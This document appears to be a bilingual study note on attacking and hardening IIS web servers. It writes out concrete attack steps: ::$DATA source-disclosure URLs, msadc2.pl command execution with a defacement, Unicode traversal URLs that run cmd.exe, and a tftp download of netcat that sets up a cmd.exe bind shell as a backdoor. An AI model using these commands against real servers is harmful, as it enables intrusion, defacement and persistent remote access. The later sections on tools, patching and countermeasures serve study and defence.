webserver security

web server defacement

以下攻擊都有可能defacement:
man-in-the-middle attack:可能在遠端登入時帳號密碼就被偷了
password brute forcing of administrator account
dns attack through cache poisoning:dns recall己經被修改,影響層面大
dns attack through social engineering
ftp server intrusion
mail server intrusion
web application bugs
web shares misconfigurations
wrongly assigned permissions
rerouting after firewall attack
recouting after router attack
sql injection
ssh intrusion
telnet intrusion
url poisoning
web server extension intrusion
remote service intrusion


…………………………………………………………………………….


attacks against iis

some of the popular iis vulnerabiliies are as follows:
::$DATA iis vulnerability
showcode.asp
piggybacking privileged command execution on back-end database queries(mdac/rds)
buffer overflow vulnerabilities:
 IPP(internet printing protocol) buffer overflow
 indexing services ISAPI extension buffer overflow
privilege command execution vulnerability
webDAV/rpc exploits

ps:On a default installation of Microsoft IIS web server, “system” privilege does the web server software execute

……………

::$DATA iis vulnerability
ASP Alternate Data Streams(::$DATA)
1998年中期公佈
$DATA是在NTFS檔案系統中存儲在檔案裏面的main data stream屬性,通過建立一個特殊格式的URL,就可能使用IIS在流覽器中訪問這個data stream(資料流程),這樣做也就顯示了檔案代碼中這些data stream(資料流程)和任何檔案所包含的資料代碼。
這個漏洞需限制如下:
1是要顯示的這個檔案需要保存在NTFS檔案分區
2是檔案需要被ACL設定為全局可讀
3而且未授權用戶需要知道要查看檔案名的名字
WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此問題。
要查看一些.asp檔案的內容,你可以請求如下的URL 即可得到了源代碼
http://victim/default.asp::$DATA

……………

msadc
IIS的MDAC組件存在一個漏洞可以導致攻擊者遠程執行你系統的命令。
主要核心問題是存在於RDS Datafactory,默認情況下,它允許遠程命令發送到IIS服務器中,這命令會以設備用戶的身份運行,其一般默認情況下是SYSTEM用戶。
利用程序為msadc2.pl
做法大致如下
perl msadc2.pl -h http://www.targe.com
— RDS smack v2 – rain forest puppy / ADM / wiretrip —
Type the command line you want to run (cmd /c assumed):
cmd /c
直接鍵入命令行,就可以以system權限執行命令,例如
echo hacked by me > d:inetpubwwwrootvictimwebindex.htm

ps:
perl msadc2.pl -h
— RDS smack v2 – rain forest puppy / ADM / wiretrip —
Usage: msadc.pl -h < host > { -d < delay > -X -v }
-h < host > = host you want to scan (ip or domain)
-d < seconds > = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u < hostsharefile > = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s < number > = run only step < number >
Or a -R will resume a (v2) command session
ps:
msadc.pl. rfp’s perl script is a perfect example of exploit chaining

……………

ISAPI Extension buffer overflow做法大致如下
1開啟對方136port
./Xiisprint < ip > nc136.bin
2telnet port 136即可進入c:winntsystem32 >
telnet < ip > 136

……………

web server vulnerabilities

unicode
早期vulnerabilities
透過編碼幫助
因沒有做檢查而被攻撃
可不斷變形 “/”=2f=c0af=e080af=f080af=f8808080af=其他無限長…
過長unicode不會出錯,也可以被解碼出來

unicode 常見攻擊手法有:
目錄穿越(Directory Traversal)
視覺欺騙(Visual Security)
繞過安全機制(Bypassing Security Logic)
規避過濾機制 (Filter Evasion)

directory traversal attack
由於早期的IIS無法處理非標準的HTTP請求,當IIS接收到包含Unicode編碼之路徑名稱時,將會對該路徑進行解碼,如果攻擊者使用設計過的編碼, 將導致IIS錯誤或開啟伺服器根目錄以外的目錄,造成洩漏非網頁伺服器允許提供的檔案或應用程式原始碼,甚至在伺服器上執行任意指令。
做法大致如下
GET/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir=c: http/1.0
使用malformed url存取file或folders
做法大致如下
用 cmd.exe來執行dir c:
http://< web >/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:
複製cmd.exe到 cmd2.exe
http://< web >/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe %20 .cmd2.exe
allow the attacker to escalate privileges on the machine
做法大致
允許新增malicious user,改變或刪除data,執行code
做法大致如下
將Defaced By ray 寫入default.asp
http://< web >/scripts/cmd.exe?/c+echo%20Defaced%20By%20ray > c:inetpubwwwrootdefault.asp
可使用netcat做backdoor
做法大致如下
1 http://< web >/scripts/…%255c../winnt/system32/cmd.exe?/c+dir+c:
2 tftp -I < web > GET nc.exe
3 nc -L -p < port > -d -e cmd.exe

1 http://< web >/scripts/…%255c../winnt/system32/cmd.exe?/c+dir+c:
2 http://< exploit url >/c+TFTP+-i+< web >+GET+nc.exe
3 http://< exploit url >/c+nc+-L+-p+< port >+-d+-e+cmd.exe

ps:
iisxploit.exe: 自動化攻擊tool

Visual Security
又稱為同形異義字欺騙(Homograph Spoofing Attack)
在Unicode中,有許多同形異義字,在許多字型中都看不出有甚麼不同。於是入侵者便可用此來欺騙用戶
ex:斯拉夫字母(Cyrillic)的小寫а(U+0430)和拉丁字母(Latin,即英文使用之字母)的a(U+0061)

Bypassing Security Logic
早期IPS無法正確處理特別的Unicode編碼、大小寫轉換…等,將使攻擊者可能利用此漏洞繞過 IPS產品的攻擊檢測。
另 HTTP內容掃瞄系統(HTTP Content Scanning System)可以解碼各種類型的HTTP編碼請求以進行攻擊特徵分析,但有些內容掃瞄系統無法正確地掃瞄全形字(full-width)或半形字 (half-width)的Unicode編碼通訊進行分析、大小寫轉換和字符匹配。藉由傳送經設計的HTTP流量到一個有弱點的掃瞄系統,攻擊者很可能 繞過內容掃瞄系統,進行其他蓄意破壞。

Filter Evasion
瀏覽器在辨別網頁是使用何種編碼時,可藉由位元組順序記號 (Byte Order Mark, BOM)來判斷。但有些伺服器或瀏覽器因無法處理BOM而建立了過濾機制,因此惡意的網頁可能用設計過的程式標籤,使得早期版本之Firefox在略過 BOM的處理後可能遭受XSS攻擊

msw3prt ipp vulnerability
1.漏洞危害及成因
此漏洞只存在於執行IIS 5.0的Windows 2000伺服器中。由於IIS 5的列印ISAPI擴展接頭建立了.printer副檔名到Msw3prt.dll的映射關係(預設情況下該映射也存在),當遠端用戶提交 對.printer的URL請求時,IIS 5.0會使用Msw3prt.dll解釋該請求,加之Msw3prt.dll缺乏足夠的緩衝區邊界檢查,遠端用戶可以提交一個精心構造的針 對.printer的URL請求,其「Host:」域包含大約420B的資料,此時在Msw3prt.dll中發生典型的緩衝區溢出,潛在地允許執行任意 程式碼。在溢出發生後,Web服務會停止用戶回應,而Windows 2000將接著自動重啟它,進而使得系統管理員很難檢查到已發生的攻擊。
2.漏洞檢測
針對.Printer漏洞的檢測軟體很多,如easyscan,x-scaner,SSS,…等。
3.解決方法
可通過安裝Microsoft漏洞修正檔

rpc dcom vulnerability
COM弱點可從以下port找到
tcp and udp 135
tcp port 139 and 445
tcp port 593(rpc-over-http)
any iis http/https port:if COM internet services are enabled

ps:
dcom rpc exploit:攻擊工具

ps:
cmd.asp:asp trojan

URLEncoded

space %20
! %21
" %22
# %23
$ %24
% %25
& %26
' %27
( %28
) %29
, %2C
: %3A
; %3B
< %3C
= %3D
> %3E
? %3F
[ %5B
\ %5C
] %5D
^ %5E
` %60
{ %7B
| %7C
} %7D
~ %7E
%7F
€ %80
� %81
‚ %82


…………………………………………………………………………….


log
建議:
改變預設存放位置
定期備份

ps:
log analyzer:network tool
cleaniislog:hacking tool
customerror:客製化log

….

tool

cacheright:增加速度
httpzip:提升效能
zipenable:提升效能
w3compiler

server mask:iis security tool,防護工具
servermask ip1000
linkdeny:阻隔tool
serverdefender AI:WAF

yersinia
metasploit framework:弱點攻擊工具
karma:可做fake ap,讓client連到此fake ap
karmetasploit:karma+metasploit3,會自動對連來此fake ap的client做弱點掃描,並自動攻擊
canvas:攻擊工具,需收費
core impact:攻擊工具,需收費
mpack:web exploitation,用php開發
neosploit:攻擊工具
…………

patch management

tool
updateexpert
qfecheck:看hotfix
hfnetchk:
cacls.exe: 內建comamd指令,看資料夾權限

………..

vulnerability scanners

ps:
online vulnerability search engine
NVD(national vulnerability database)

常見的vulnerability scanner有
online:www.securityseers.com,… 等
opensource:snort,nessus,nmap,…等
linux proprietary:sane,…等

other tool
whisker:較陽春
n-stealth http vulnerability scanner:需付費
webinspect:hacking tool
shadow security scanner
secureiis:保護server,針對己知和未知攻擊做保護
serverscheck momnitoring:針對頻寬或來回封包量記錄,以及回報一些攻擊
gfi network server monitor:
servers alive:判斷server是否還活著
webserver stress tool:壓力測試tool
securnia psi:檢查每個程式是否更新,建議安裝


…………………………………………………………………………….

countermeasures:
iislockdown: 有包含urlscan
urlscan
mbsa utility:microsoft baseline security analyzer

file system traversal countermeasures
非admin不可執行cmd
移除sample files
常看audit log
做patch,hotfix

increasing web server security
使用firewall
要改account
iis default websites要關掉
removal of unused application mappings
關閉directory browsing
legal notices
service packs,hotfixes,and templates
checking for malicious input in forms and query strings
關閉remote administrator


web server security checklist:
patches and updates
auditing and logging
services:disable non-required services
script mappings
protocols:disable webdav,netbios,smb(block port137,138,139,445)
isapi filters:remove unused isapi filters
accounts:不需要的就關掉
files and directories
iis metabase
server certificates
diable shares:用registry關掉,下次重開就不會啟用
machine.config
ports
code access security


ps:
Cloaking
它指的是一種技術,向搜索引擎蜘蛛和客戶提供不同的網頁,這種技術被SPAMMERS做爲KEYWORD STUFFING濫用了,CLOAKING違反了大多數搜索引擎的服務條款,如果被發現的話網站將會被它們取締。